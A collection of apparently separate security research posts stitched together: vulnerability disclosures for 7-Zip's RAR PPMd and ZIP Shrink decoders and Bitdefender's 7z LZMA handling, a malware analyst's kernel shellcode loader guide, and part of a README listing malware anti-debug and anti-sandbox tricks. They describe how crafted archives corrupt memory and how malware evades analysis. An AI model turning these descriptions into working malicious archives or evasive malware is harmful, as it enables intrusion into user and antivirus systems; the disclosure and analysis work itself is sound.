7-Zip: Multiple Memory Corruptions via RAR and ZIP


In the following, I will outline two bugs that affect 7-Zip before version 18.00 as well as p7zip. The first one (RAR PPMd) is the more critical and the more involved one. The second one (ZIP Shrink) seems to be less critical, but also much easier to understand.

Memory Corruptions via RAR PPMd (CVE-2018-5996)

7-Zip’s RAR code is mostly based on a recent UnRAR version. For version 3 of the RAR format, PPMd can be used, which is an implementation of the PPMII compression algorithm by Dmitry Shkarin. If you want to learn more about the details of PPMd and PPMII, I’d recommend Shkarin’s paper PPM: one step to practicality1.

Interestingly, the 7z archive format can be used with PPMd as well, and 7-Zip uses the same code that is used for RAR3. As a matter of fact, this is the very PPMd implementation that was used by Bitdefender in a way that caused a stack based buffer overflow.

In essence, this bug is due to improper exception handling in 7-Zip’s RAR3 handler. In particular, one might argue that it is not a bug in the PPMd code itself or in UnRAR’s extraction code.

The Bug

The RAR handler has a function NArchive::NRar::CHandler::Extract2 containing a loop that looks roughly as follows (heavily simplified!):

for (unsigned i = 0;; i++, /*OMITTED: unpack size updates*/) {
  //OMITTED: retrieve i-th item and setup input stream
  CMyComPtr<ICompressCoder> commonCoder;
  switch (item.Method) {
    case '0':
      commonCoder = copyCoder;
    case '1':
    case '2':
    case '3':
    case '4':
    case '5':
      unsigned m;
      for (m = 0; m < methodItems.Size(); m++)
        if (methodItems[m].RarUnPackVersion == item.UnPackVersion) { break; }
      if (m == methodItems.Size()) { m = methodItems.Add(CreateCoder(/*OMITTED*/)); }
      //OMITTED: solidness check
      commonCoder = methodItems[m].Coder;
  HRESULT result = commonCoder->Code(inStream, outStream, &packSize, &outSize, progress);
  //OMITTED: encryptedness, outsize and crc check

  if (result != S_OK) {
    if (result == S_FALSE) { opRes = NExtract::NOperationResult::kDataError; }
    else if (result == E_NOTIMPL) { opRes = NExtract::NOperationResult::kUnsupportedMethod; }
    else { return result; }

The important bit about this function is essentially that at most one coder is created for each RAR unpack version. If an archive contains multiple items that are compressed with the same RAR unpack version, those will be decoded with the same coder object.

Observe, moreover, that a call to the Code method can fail, returning the result S_FALSE, and the created coder will be reused for the next item anyway, given that the callback function does not catch this (it does not). So let us see where the error code S_FALSE may come from. The method NCompress::NRar3::CDecoder::Code3 looks as follows (again simplified):

STDMETHODIMP CDecoder::Code(ISequentialInStream *inStream, ISequentialOutStream *outStream,
    const UInt64 *inSize, const UInt64 *outSize, ICompressProgressInfo *progress) {
  try {
    if (!inSize) { return E_INVALIDARG; }
    //OMITTED: allocate and initialize VM, window and bitdecoder
    _outStream = outStream;
    _unpackSize = outSize ? *outSize : (UInt64)(Int64)-1;
    return CodeReal(progress);
  catch(const CInBufferException &e)  { return e.ErrorCode; }
  catch(...) { return S_FALSE; }

The CInBufferException is interesting. As the name suggests, this exception may be thrown while reading from the input stream. It is not completely straightforward, but nevertheless easily possible to trigger the exception with a RAR3 archive item such that the error code is S_FALSE. I will leave it as an exercise for the interested reader to figure out the details of how this can be achieved.

Why is this interesting? Well, because in case RAR3 with PPMd is used this exception may be thrown in the middle of an update of the PPMd model, putting the soundness of the model state at risk. Recall that the same coder will be used for the next item even after a CInBufferException with error code S_FALSE has been thrown.

Note, moreover, that the RAR3 decoder holds the PPMd model state. A brief look at the method NCompress::NRar3::CDecoder::InitPPM3 reveals the fact that this model state is only reinitialized if an item explicitly requests it. This is a feature that allows to keep the same model with the collected probability heuristics between different items. But it also means that we can do the following:

  • Construct the first item of a RAR3 archive such that a CInBufferException with error code S_FALSEis thrown in the middle of a PPMd model update. Essentially, this means that we can let an arbitrary call to the Decode method of the range decoder used in Ppmd7_DecodeSymbol4 fail, jumping out of the PPMd code.
  • The subsequent item of the archive does not have the reset bit set that would cause the model to be reinitialized. Hence, the PPMd code will operate on a potentially broken model state.

So far this may not look too bad. In order to understand how this bug can be turned into attacker controlled memory corruptions, we need to understand a little bit more about the PPMd model state and how it is updated.

PPMd Preliminaries

The main idea of all PPM compression algorithms is to build a Markov model of some finite order D. In the PPMd implementation, the model state is essentially a 256-ary context tree of maximum depth D, in which the path from the root to the current context node is to be interpreted as a sequence of byte symbols. In particular, the parent relation is to be understood as a suffix relation. Additionally, every context node stores frequency statistics about possible successor symbols connected with a successor context node.

A context node is of type CPpmd7_Context, defined as follows:

typedef struct CPpmd7_Context_ {
  UInt16 NumStats;
  UInt16 SummFreq;
  CPpmd_State_Ref Stats;
  CPpmd7_Context_Ref Suffix;
} CPpmd7_Context;

The field NumStats holds the number of elements the Stats array contains5. The type CPpmd_State is defined as follows:

typedef struct {
  Byte Symbol;
  Byte Freq;
  UInt16 SuccessorLow;
  UInt16 SuccessorHigh;
} CPpmd_State;

So far, so good. Now what about the model update? I will spare you the details, describing only abstractly how a new symbol is decoded6:

  • When Ppmd7_DecodeSymbol is called, the current context is p->MinContext, which is equal to p->MaxContext, assuming a sound model state.
  • threshold value is read from the range decoder. This value is used to find a corresponding symbol in the Stats array of the current context p->MinContext.
  • If no corresponding symbol can be found, p->MinContext is moved upwards the tree (following the suffix links) until a context with (strictly) larger Stats array is found. Then, a new threshold is read and used to find a corresponding value in the current Stats array, ignoring the symbols of the contexts that have been previously visited. This process is repeated until a value is found.
  • Finally, the ranger decoder’s decode method is called, the found state is written to p->FoundState, and one of the Ppmd7_Update functions is called to update the model. As a part of this process, the UpdateModel function adds the found symbol to the Stats array of each context between p->MaxContext and p->MinContext (exclusively).

One of the key invariants the update mechanism tries to establish is that the Stats array of every context contains each of the 256 symbols at most once. However, this property only follows inductively, since there is no explicit duplicate check when a new symbol is inserted7. With the bug described above, it is easy to see how we can add duplicate symbols to Stats arrays:

  • The first RAR3 item is created such that a few context nodes are created, and the function Ppmd7_DecodeSymbol then moves p->MinContext upwards the tree at least once, until the corresponding symbol is found. Then, the subsequent call to the range decoders decode method fails with a CInBufferException.
  • The next RAR3 item does not have the reset bit set, so that we can continue with the previously created PPMd model.
  • The Ppmd7_DecodeSymbol function is entered with a fresh range decoder and p->MinContext != p->MaxContext. It finds the corresponding symbol immediately in p->MinContext. However, this symbol may now be one that already occurs in the contexts between p->MaxContext and p->MinContext. When the UpdateModel function is called, this symbol is added as a duplicate to the Stats array to each context between p->MaxContext and p->MinContext (exclusively).

Okay, so now we know how to add duplicate symbols into the Stats array. Let us see how we can make use of this to cause an actual memory corruption.

Triggering a Stack Buffer Overflow

The following code is run as a part of Ppmd7_DecodeSymbol to move the p->MinContext pointer upwards the context tree:

CPpmd_State *ps[256];
unsigned numMasked = p->MinContext->NumStats;
do {
  if (!p->MinContext->Suffix) { return -1; }
  p->MinContext = Ppmd7_GetContext(p, p->MinContext->Suffix);
} while (p->MinContext->NumStats == numMasked);
UInt32 hiCnt = 0;
CPpmd_State *s = Ppmd7_GetStats(p, p->MinContext);
unsigned i = 0;
unsigned num = p->MinContext->NumStats - numMasked;
do {
  int k = (int)(MASK(s->Symbol));
  hiCnt += (s->Freq & k);
  ps[i] = s++;
  i -= k;
} while (i != num);

MASK is a macro that accesses a byte array which holds the value 0x00 at the index of each masked symbol, and the value 0xFF otherwise. Clearly, the intention is to fill the stack buffer ps with pointers to all unmasked symbol states.

Observe that the stack buffer ps has a fixed size of 256 and there is no overflow check. This means that if the Stats array contains a masked symbol multiple times, we can access the array out of bound and overflow the ps buffer.

Usually, such out of bound buffer reads make exploitation very difficult, because one cannot easily control the memory that is read. However, this is no issue in the case of PPMd, because the implementation allocates only one large pool on the heap, and then makes use of its own memory allocator to allocate all context and state structs within this pool. This ensures very quick allocation and a low memory usage, but it also allows an attacker to control the out of bound read to structures within this pool very reliably and independently of the system’s heap implementation. For example, the first RAR3 item can be constructed such that the pool is filled with the desired data, avoiding uninitialized out of bound reads.

Finally, note that the attacker can overflow the stack buffer with pointers to data that is highly attacker controlled itself.

Triggering a Heap Buffer Overflow

Building on the previous section, we now want to corrupt the heap. Perhaps not surprisingly, it is also possible to read the Stats array out of bound without overflowing the stack buffer ps. This allows us to let s point to a CPpmd_State with attacker controlled data. Since p->FoundState may be one of the psstates and the model updating process assumes that the Stats array of p->MinContext as well as its suffix contexts contain the symbol p->FoundState->Symbol.

This code fragment is part of the function UpdateModel:

do { s++; } while (s->Symbol != p->FoundState->Symbol);
if (s[0].Freq >= s[-1].Freq) {
  SwapStates(&s[0], &s[-1]);

Again, there is no bound check on the Stats array, so the pointer s can be moved easily over the end of the allocated heap buffer. Optimally, we would construct our input such that s is out of bound and s-1within the allocated pool, allowing an attacker controlled heap corruption.

On Attacker Control, Exploitation and Mitigation

The 7-Zip binaries for Windows are shipped with neither the /NXCOMPAT nor the /DYNAMICBASE flags. This means effectively that 7-Zip runs without ASLR on all Windows systems, and DEP is only enabled on Windows x64 or on Windows 10 x86. For example, the following screenshot shows the most recent 7-Zip 18.00 running on a fully updated Windows 8.1 x86: 7-Zip 18.00 in Process Explorer on Windows 8.1 x86

Moreover, 7-Zip is compiled without /GS flag, so there are no stack canaries.

Since there are various ways to corrupt the stack and the heap in highly attacker controlled ways, exploitation for remote code execution is straightforward, especially if no DEP is used.

I have discussed this issue with Igor Pavlov and tried to convince him to enable all three flags. However, he refused to enable /DYNAMICBASE because he prefers to ship the binaries without relocation table to achieve a minimal binary size. Moreover, he doesn’t want to enable /GS, because it could affect the runtime as well as the binary size. At least he will try to enable /NXCOMPAT for the next release. Apparently, it is currently not enabled because 7-Zip is linked with an obsolete linker that doesn’t support the flag.


The outlined heap and stack memory corruptions are only scratching the surface of possible exploitation paths. Most likely there are many other and possibly even neater ways of causing memory corruptions in an attacker controlled fashion.

This bug demonstrates again how difficult it can be to integrate external code into an existing code base. In particular, handling exceptions correctly and understanding the control flow they induce can be challenging.

In the post about Bitdefender’s PPMd stack buffer overflow, I already made clear that the PPMd code is very fragile. A slight misuse of its API, or a tiny mistake while integrating it into another code base may lead to multiple dangerous memory corruptions.

If you use Shkarin’s PPMd implementation, I would strongly recommend you to harden it by adding out of bound checks wherever possible, and to make sure the basic model invariants always hold. Moreover, in case exceptions are used, one could add an additional error flag to the model that is set to true before updating the model, and only set to false after the update has been successfully completed. This should significantly mitigate the danger of corrupting the model state.

ZIP Shrink: Heap Buffer Overflow (CVE-2017-17969)

Let us proceed by discussing the other bug, which concerns ZIP Shrink. Shrink is an implementation of the Lempel-Ziv-Welch (LZW)8 compression algorithm. It has been used by PKWARE’s PKZIP before version 2.0, which was released in 1993 (sic!). In fact, shrink is so old and so rarely used, that already in 2005, when Igor Pavlov wrote 7-Zip’s shrink decoder, he had a hard time9 finding sample archives to test the code.

In essence, shrink is LZW with a dynamic code size between 9 and 13 bits, and a special feature that allows to partially clear the dictionary.

7-Zip’s shrink decoder is quite straightforward and easy to understand. In fact, it consists of only 200 lines of code. Nevertheless, it contains a buffer overflow bug.

The Bug

The shrink model’s state essentially only consists of the two arrays _parents and _suffixes, which store the LZW dictionary in a space efficient way. Moreover, there is a buffer _stack to which the current sequence is written:

  UInt16 _parents[kNumItems];
  Byte _suffixes[kNumItems];
  Byte _stack[kNumItems];

The following code fragment is part of the method NCompress::NShrink::CDecoder::CodeReal10:

unsigned cur = sym;
unsigned i = 0;
while (cur >= 256) {
  _stack[i++] = _suffixes[cur];
  cur = _parents[cur];

Observe that there is no bound check on the value of i.

One way this can be exploited to overflow the heap buffer _stack is by constructing a symbol of sequence such that the _parents array forms a cycle. This is possible, because the decoder only ensures that a parent node does not link to itself (cycle of length one). Interestingly, the old versions of PKZIP create shrink archives that may contain such self-linked parents, so a compatible implementation should actually accept this (7-Zip 18.00 fixes this).

Moreover, using the special symbol sequence 256,2 one can clear parent nodes in an attacker controlled fashion. A cleared parent node will be set to kNumItems. Since there is no check whether a parent has been cleared or not, the parents array can be accessed out of bound.

This sounds promising, and it is actually possible to construct archives that make the decoder write attacker controlled data out of bound. However, I didn’t find an easy way to do so without ending up in an infinite loop. This matters, because the index i is increased in every iteration of the loop. Hence, an infinite loop will quickly lead to a segmentation fault, making exploitation for code execution very difficult (if not impossible). However, I didn’t spend too much time on this, so maybe it is possible to corrupt the heap without entering an infinite loop after all.

Bitdefender: Heap Buffer Overflow via 7z LZMA


For the write-up on the 7z PPMD bug, I read a lot of the original 7-Zip source code and discovered a few new things that looked promising to investigate in anti-virus products. Therefore, I took another stab at analyzing Bitdefender’s 7z module.

I previously wrote about relaxed file processing. The Bitdefender 7z PPMD stack buffer overflow1 was a good example of relaxed file processing by removing a check (that is, removing code).

This bug demonstrates another fundamental difficulty that arises when incorporating new code into an existing code base. In particular, a minimal set of changes to the new code is often inevitable. Mostly, this affects memory allocation and code that is concerned with file access, especially if a totally different file abstraction is used. The presented bug is an example of the former type of difficulty. More specifically, an incorrect use of a memory allocation function that extends the 7-Zip source code in Bitdefender’s 7z module causes a heap buffer overflow.

Getting Into the Details

When Bitdefender’s 7z module discovers an EncodedHeader3 in a 7z archive, it tries to decompress it with the LZMA decoder. Their code seems to be based on 7-Zip, but they made a few changes. Loosely speaking, the extraction of a 7z EncodedHeader is implemented as follows:

  1. Read the unpackSize from the 7z EncodedHeader.
  2. Allocate unpackSize bytes.
  3. Use the C API of the LZMA decoder that comes with 7-Zip and let it decompress the stream.

The following snippet shows how the allocation function is called:

1DD02A845FA lea     rcx, [rdi+128h] //<-------- result
1DD02A84601 mov     rbx, [rdi+168h]
1DD02A84608 mov     [rsp+128h], rsi
1DD02A84610 mov     rsi, [rax+10h]
1DD02A84614 mov     [rsp+0E0h], r15
1DD02A8461C mov     edx, [rsi]      //<-------- size
1DD02A8461E call    SZ_AllocBuffer

Recall the x64 calling convention. In particular, the first two integer arguments (from left to right) are passed via rcx and rdx.

SZ_AllocBuffer is a function within the Bitdefender 7z module. It has two arguments:

  • The first argument result is a pointer to which the result (a pointer to the allocated buffer in case of success or NULL in case of a failure) is written.
  • The second argument size is the allocation size.

Let us look at the functions’s implementation.

260ED3025D0 SZ_AllocBuffer proc near
260ED3025D0 mov     [rsp+8], rbx
260ED3025D5 push    rdi
260ED3025D6 sub     rsp, 20h
260ED3025DA mov     rbx, rcx
260ED3025DD mov     edi, edx //<-------- edi holds size
260ED3025DF mov     rcx, [rcx]
260ED3025E2 test    rcx, rcx
260ED3025E5 jz      short loc_260ED3025EC
260ED3025E7 call    near ptr irrelevant_function
260ED3025EC loc_260ED3025EC:
260ED3025EC cmp     edi, 0FFFFFFFFh  //<------- {*}
260ED3025EF jbe     short loc_260ED302606
260ED3025F1 xor     ecx, ecx
260ED3025F3 mov     [rbx], rcx
260ED3025F6 mov     eax, ecx
260ED3025F8 mov     [rbx+8], ecx
260ED3025FB mov     rbx, [rsp+30h]
260ED302600 add     rsp, 20h
260ED302604 pop     rdi
260ED302605 retn
260ED302606 ; ------------------------------------
260ED302606 loc_260ED302606:                        
260ED302606 mov     rcx, rdi  //<------ set size argument for mymalloc
260ED302609 call    mymalloc
//[rest of the function omitted]

Note that mymalloc is just a wrapper function that eventually calls malloc and returns the result.

Apparently, the programmer expected the size argument of SZ_AllocBuffer to be of a type with size greater than 32 bits. Obviously, it is only a 32-bit value.

It is funny to see that the compiler failed to optimize away the comparison at {*}, given that its result is only used for an unsigned comparison jbe. If you have any hints on why this might happen, I’d be very interested to hear them.

After SZ_AllocBuffer returns, the function LzmaDecode is called:

LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, /* further arguments omitted */)

Note that dest is the buffer allocated with SZ_AllocBuffer and destLen is supposed to be a pointer to the buffer’s size.

In the reference implementation, SizeT is defined as size_t. Interestingly, Bitdefender’s 7z module uses a 64-bit type for SizeT in both the 32-bit and the 64-bit version, making both versions vulnerable to this bug. I suspect that this is the result of an effort to create identical behavior for the 32-bit and 64-bit versions of the engine.

The LZMA decoder extracts the given src stream and writes (up to) *destLen bytes to the dest buffer, where *destLen is the 64-bit unpackSize from the 7z EncodedHeader. This results in a neat heap buffer overflow.

Triggering the Bug

To trigger the bug, we create a 7z LZMA stream containing the data we want to write on the heap. Then, we construct a 7z EncodedHeader with a Folder that has an unpackSize of (1<<32) + 1. This should make the function SZ_AllocBuffer allocate a buffer of 1 byte.

That sounds nice, but does this actually work?

0:000> g
!Heap block at 1F091472D40 modified at 1F091472D51 past requested size of 1
(2f8.14ec): Break instruction exception - code 80000003 (first chance)
00007ff9`d849c4ce cc              int     3

0:000> db 1F091472D51
000001f0`91472d51  59 45 53 2c 20 54 48 49-53 20 57 4f 52 4b 53 ab  YES, THIS WORKS.

Attacker Control and Exploitation

The attacker can write completely arbitrary data to the heap without any restriction. A file system minifilter is used to scan all files that touch the disk, making this vulnerability easily exploitable remotely, for example by sending an e-mail with a crafted file as attachment to the victim.

Moreover, the engine runs unsandboxed and as NT Authority\SYSTEM. Hence, this bug is highly critical. However, since ASLR and DEP are in place, successful exploitation for remote code execution might require another bug (e.g. an information leak) to bypass ASLR.

Note also that Bitdefender’s engine is licensed to many different anti-virus vendors, all of which could be affected by this bug.

The Fix

The patched version of the function SZ_AllocBuffer looks as follows:

1E0CEA52AE0 SZ_AllocBuffer proc near
1E0CEA52AE0 mov     [rsp+8], rbx
1E0CEA52AE5 mov     [rsp+10h], rsi
1E0CEA52AEA push    rdi
1E0CEA52AEB sub     rsp, 20h
1E0CEA52AEF mov     esi, 0FFFFFFFFh
1E0CEA52AF4 mov     rdi, rdx  //<-----rdi holds the size
1E0CEA52AF7 mov     rbx, rcx
1E0CEA52AFA cmp     rdx, rsi  //<------------{1}
1E0CEA52AFD jbe     short loc_1E0CEA52B11
1E0CEA52AFF xor     eax, eax
1E0CEA52B01 mov     rbx, [rsp+30h]
1E0CEA52B06 mov     rsi, [rsp+38h]
1E0CEA52B0B add     rsp, 20h
1E0CEA52B0F pop     rdi
1E0CEA52B10 retn
1E0CEA52B11 ; -----------------------------------
1E0CEA52B11 loc_1E0CEA52B11: 
1E0CEA52B11 mov     rcx, [rcx]
1E0CEA52B14 test    rcx, rcx
1E0CEA52B17 jz      short loc_1E0CEA52B1E
1E0CEA52B19 call    near ptr irrelevant_function
1E0CEA52B1E loc_1E0CEA52B1E: 
1E0CEA52B1E cmp     edi, esi  //<------------{2}
1E0CEA52B20 jbe     short loc_1E0CEA52B29
1E0CEA52B22 xor     ecx, ecx
1E0CEA52B24 mov     [rbx], rcx
1E0CEA52B27 jmp     short loc_1E0CEA52B3B
1E0CEA52B29 ; -----------------------------------
1E0CEA52B29 loc_1E0CEA52B29:
1E0CEA52B29 mov     ecx, edi
1E0CEA52B2B call    near ptr mymalloc
//[rest of the function omitted]

Most importantly, we see that the function’s second argument size has been changed to a 64-bit type.

Note that at {1}, a check ensures that the passed size is not greater than 0xFFFFFFFF.

At {2}, the value of rdi is guaranteed to be at most 0xFFFFFFFF, hence it suffices to use the 32-bit register edi. However, just as in the original version (see above), it is useless to compare this 32-bit value once more to 0xFFFFFFFF and it is a mystery to me why the compiler does not optimize this away.

Using a full 64-bit type for the second argument size resolves the described bug.


In a nutshell, the discovered bug is a 64-bit value size being passed to the allocation function SZ_AllocBuffer which looks roughly like this4:

void* SZ_AllocBuffer(void *resultptr, uint32_t size);

Assuming that the size is not explicitly casted, the compiler should throw a warning of the following kind:

warning C4244: 'argument': conversion from 'uint64_t' to 'uint32_t', possible loss of data

Note that in Microsoft’s MSVC compiler, this is a Level2 warning (Level1 being the lowest and Level4 being the highest level). Hence, this bug most likely could have been avoided simply by taking compiler warnings seriously.

For a critical codebase such as the engine of an anti-virus product, it would be adequate to treat warnings as errors, at least up to a warning level of 2 or 3.

Nevertheless, the general type of bug shows that even if only few lines of additional code are necessary to incorporate external code (such as the 7-Zip code) into a code base, those very lines can be particularly prone to error.


Loading Kernel Shellcode

In the wake of recent hacking tool dumps, the FLARE team saw a spike in malware samples detonating kernel shellcode. Although most samples can be analyzed statically, the FLARE team sometimes debugs these samples to confirm specific functionality. Debugging can be an efficient way to get around packing or obfuscation and quickly identify the structures, system routines, and processes that a kernel shellcode sample is accessing.

This post begins a series centered on kernel software analysis, and introduces a tool that uses a custom Windows kernel driver to load and execute Windows kernel shellcode. I’ll walk through a brief case study of some kernel shellcode, how to load shellcode with FLARE’s kernel shellcode loader, how to build your own copy, and how it works.

As always, only analyze malware in a safe environment such as a VM; never use tools such as a kernel shellcode loader on any system that you rely on to get your work done.

A Tale of Square Pegs and Round Holes

Depending upon how a shellcode sample is encountered, the analyst may not know whether it is meant to target user space or kernel space. A common triage step is to load the sample in a shellcode loader and debug it in user space. With kernel shellcode, this can have unexpected results such as the access violation in Figure 1.

Figure 1: Access violation from shellcode dereferencing null pointer

The kernel environment is a world apart from user mode: various registers take on different meanings and point to totally different structures. For instance, while the gs segment register in 64-bit Windows user mode points to the Thread Information Block (TIB) whose size is only 0x38 bytes, in kernel mode it points to the Processor Control Region (KPCR) which is much larger. In Figure 1 at address 0x2e07d9, the shellcode is attempting to access the IdtBase member of the KPCR, but because it is running in user mode, the value at offset 0x38 from the gs segment is null. This causes the next instruction to attempt to access invalid memory in the NULL page. What the code is trying to do doesn’t make sense in the user mode environment, and it has crashed as a result.

In contrast, kernel mode is a perfect fit. Figure 2 shows WinDbg’s dt command being used to display the _KPCR type defined within ntoskrnl.pdb, highlighting the field at offset 0x38 named IdtBase.

Figure 2: KPCR structure

Given the rest of the code in this sample, accessing the IdtBase field of the KPCR made perfect sense. Determining that this was kernel shellcode allowed me to quickly resolve the rest of my questions, but to confirm my findings, I wrote a kernel shellcode loader. Here’s what it looks like to use this tool to load a small, do-nothing piece of shellcode.

Using FLARE’s Kernel Shellcode Loader

I booted a target system with a kernel debugger and opened an administrative command prompt in the directory where I copied the shellcode loader (kscldr.exe). The shellcode loader expects to receive the name of the file on disk where the shellcode is located as its only argument. Figure 3 shows an example where I’ve used a hex editor to write the opcodes for the NOP (0x90) and RET (0xC3) instructions into a binary file and invoked kscldr.exe to pass that code to the kernel shellcode loader driver. I created my file using the Windows port of xxd that comes with Vim for Windows.

Figure 3: Using kscldr.exe to load kernel shellcode

The shellcode loader prompts with a security warning. After clicking yes, kscldr.exe installs its driver and uses it to execute the shellcode. The system is frozen at this point because the kernel driver has already issued its breakpoint and the kernel debugger is awaiting commands. Figure 4 shows WinDbg hitting the breakpoint and displaying the corresponding source code for kscldr.sys.

Figure 4: Breaking in kscldr.sys

From the breakpoint, I use WinDbg with source-level debugging to step and trace into the shellcode buffer. Figure 5 shows WinDbg’s disassembly of the buffer after doing this.

Figure 5: Tracing into and disassembling the shellcode

The disassembly shows the 0x90 and 0xc3 opcodes from before, demonstrating that the shellcode buffer is indeed being executed. From here, the powerful facilities of WinDbg are available to debug and analyze the code’s behavior.

Building It Yourself

To try out FLARE’s kernel shellcode loader for yourself, you’ll need to download the source code.

To get started building it, download and install the Windows Driver Kit (WDK). I’m using Windows Driver Kit Version 7.1.0, which is command line driven, whereas more modern versions of the WDK integrate with Visual Studio. If you feel comfortable using a newer kit, you’re welcomed to do so, but beware, you’ll have to take matters into your own hands regarding build commands and dependencies. Since WDK 7.1.0 is adequate for purposes of this tool, that is the version I will describe in this post.

Once you have downloaded and installed the WDK, browse to the Windows Driver Kits directory in the start menu on your development system and select the appropriate environment. Figure 6 shows the WDK program group on a Windows 7 system. The term “checked build” indicates that debugging checks will be included. I plan to load 64-bit kernel shellcode, and I like having Windows catch my mistakes early, so I’m using the x64 Checked Build Environment.

Figure 6: Windows Driver Kits program group

In the WDK command prompt, change to the directory where you downloaded the FLARE kernel shellcode loader and type ez.cmd. The script will cause prompts to appear asking you to supply and use a password for a test signing certificate. Once the build completes, visit the bin directory and copy kscldr.exe to your debug target. Before you can commence using your custom copy of this tool, you’ll need to follow just a few more steps to prepare the target system to allow it.

Preparing the Debug Target

To debug kernel shellcode, I wrote a Windows software-only driver that loads and runs shellcode at privilege level 0. Normally, Windows only loads drivers that are signed with a special cross-certificate, but Windows allows you to enable testsigning to load drivers signed with a test certificate. We can create this test certificate for free, and it won’t allow the driver to be loaded on production systems, which is ideal.

In addition to enabling testsigning mode, it is necessary to enable kernel debugging to be able to really follow what is happening after the kernel shellcode gains execution. Starting with Windows Vista, we can enable both testsigning and kernel debugging by issuing the following two commands in an administrative command prompt followed by a reboot:

bcdedit.exe /set testsigning on

bcdedit.exe /set debug on

For debugging in a VM, I install VirtualKD, but you can also follow your virtualization vendor’s directions for connecting a serial port to a named pipe or other mechanism that WinDbg understands. Once that is set up and tested, we’re ready to go!

If you try the shellcode loader and get a blue screen indicating stop code 0x3B (SYSTEM_SERVICE_EXCEPTION), then you likely did not successfully connect the kernel debugger beforehand. Remember that the driver issues a software interrupt to give control to the debugger immediately before executing the shellcode; if the debugger is not successfully attached, Windows will blue screen. If this was the case, reboot and try again, this time first confirming that the debugger is in control by clicking Debug -> Break in WinDbg. Once you know you have control, you can issue the g command to let execution continue (you may need to disable driver load notifications to get it to finish the boot process without further intervention: sxd ld).

How It Works

The user-space application (kscldr.exe) copies the driver from a PE-COFF resource to the disk and registers it as a Windows kernel service. The driver implements device write and I/O control routines to allow interaction from the user application. Its driver entry point first registers dispatch routines to handle CreateFile, WriteFile, DeviceIoControl, and CloseHandle. It then creates a device named \Device\kscldr and a symbolic link making the device name accessible from user-space. When the user application opens the device file and invokes WriteFile, the driver calls ExAllocatePoolWithTag specifying a PoolType of NonPagedPool (which is executable), and writes the buffer to the newly allocated memory. After the write operation, the user application can call DeviceIoControl to call into the shellcode. In response, the driver sets the appropriate flags on the device object, issues a breakpoint to pass control to the kernel debugger, and finally calls the shellcode as if it were a function.

While You’re Here

Driver development opens the door to unique instrumentation opportunities. For example, Figure 7 shows a few kernel callback routines described in the WDK help files that can track system-wide process, thread, and DLL activity.

Figure 7: WDK kernel-mode driver architecture reference

Kernel development is a deep subject that entails a great deal of study, but the WDK also comes with dozens upon dozens of sample drivers that illustrate correct Windows kernel programming techniques. This is a treasure trove of Windows internals information, security research topics, and instrumentation possibilities. If you have time, take a look around before you get back to work.


We’ve shared FLARE’s tool for loading privileged shellcode in test environments so that we can dynamically analyze kernel shellcode. We hope this provides a straightforward way to quickly triage kernel shellcode if it ever appears in your environment. Download the source code now.

Anti-VM techniques — Hyper-V/VPC registry key + WMI queries on Win32_BIOS, Win32_ComputerSystem, MSAcpi_ThermalZoneTemperature, more MAC for Xen, Parallels


al-khaser is a PoC «malware» application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar.



You can download the latest release here.

Possible uses

  • You are making an anti-debug plugin and you want to check its effectiveness.
  • You want to ensure that your sandbox solution is hidden enough.
  • Or you want to ensure that your malware analysis environment is well hidden.

Please, if you encounter any of the anti-analysis tricks which you have seen in a malware, don’t hesitate to contribute.


Anti-debugging attacks

  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • Process Environement Block (BeingDebugged)
  • Process Environement Block (NtGlobalFlag)
  • ProcessHeap (Flags)
  • ProcessHeap (ForceFlags)
  • NtQueryInformationProcess (ProcessDebugPort)
  • NtQueryInformationProcess (ProcessDebugFlags)
  • NtQueryInformationProcess (ProcessDebugObject)
  • NtSetInformationThread (HideThreadFromDebugger)
  • NtQueryObject (ObjectTypeInformation)
  • NtQueryObject (ObjectAllTypesInformation)
  • CloseHanlde (NtClose) Invalide Handle
  • SetHandleInformation (Protected Handle)
  • UnhandledExceptionFilter
  • OutputDebugString (GetLastError())
  • Hardware Breakpoints (SEH / GetThreadContext)
  • Software Breakpoints (INT3 / 0xCC)
  • Memory Breakpoints (PAGE_GUARD)
  • Interrupt 0x2d
  • Interrupt 1
  • Parent Process (Explorer.exe)
  • SeDebugPrivilege (Csrss.exe)
  • NtYieldExecution / SwitchToThread
  • TLS callbacks
  • Process jobs
  • Memory write watching


  • Erase PE header from memory
  • SizeOfImage

Timing Attacks [Anti-Sandbox]

  • RDTSC (with CPUID to force a VM Exit)
  • RDTSC (Locky version with GetProcessHeap & CloseHandle)
  • Sleep -> SleepEx -> NtDelayExecution
  • Sleep (in a loop a small delay)
  • Sleep and check if time was accelerated (GetTickCount)
  • SetTimer (Standard Windows Timers)
  • timeSetEvent (Multimedia Timers)
  • WaitForSingleObject -> WaitForSingleObjectEx -> NtWaitForSingleObject
  • WaitForMultipleObjects -> WaitForMultipleObjectsEx -> NtWaitForMultipleObjects (todo)
  • IcmpSendEcho (CCleaner Malware)
  • CreateWaitableTimer (todo)
  • CreateTimerQueueTimer (todo)
  • Big crypto loops (todo)

Human Interaction / Generic [Anti-Sandbox]

  • Mouse movement
  • Total Physical memory (GlobalMemoryStatusEx)
  • Disk size using DeviceIoControl (IOCTL_DISK_GET_LENGTH_INFO)
  • Disk size using GetDiskFreeSpaceEx (TotalNumberOfBytes)
  • Mouse (Single click / Double click) (todo)
  • DialogBox (todo)
  • Scrolling (todo)
  • Execution after reboot (todo)
  • Count of processors (Win32/Tinba — Win32/Dyre)
  • Sandbox known product IDs (todo)
  • Color of background pixel (todo)
  • Keyboard layout (Win32/Banload) (todo)

Anti-Virtualization / Full-System Emulation

  • Registry key value artifacts
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VBOX)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (QEMU)
    • HARDWARE\Description\System (SystemBiosVersion) (VBOX)
    • HARDWARE\Description\System (SystemBiosVersion) (QEMU)
    • HARDWARE\Description\System (VideoBiosVersion) (VIRTUALBOX)
    • HARDWARE\Description\System (SystemBiosDate) (06/23/99)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
